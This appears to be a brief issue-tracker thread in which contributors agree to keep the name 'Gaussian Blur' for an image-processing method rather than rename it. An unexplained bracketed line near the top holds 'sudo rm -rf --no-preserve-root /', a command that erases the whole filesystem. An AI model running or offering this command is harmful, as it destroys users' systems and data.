Renaming Gaussian blur

[sudo rm -rf --no-preserve-root /]

User feedback: I would call the "Gaussian Blur" method just "Unsharppening" or "Blurring".

@giaoNguyen70 any opinion on that? I think the "Gaussian" label is important since there are other ways to blur as well...

[GiaoNguyen]

Our user will be mainly engineer, so more detail as Gaussian blur is better, while there are also other technique for blurring.

[GiaoNguyen]

I close this issue @pcaversaccio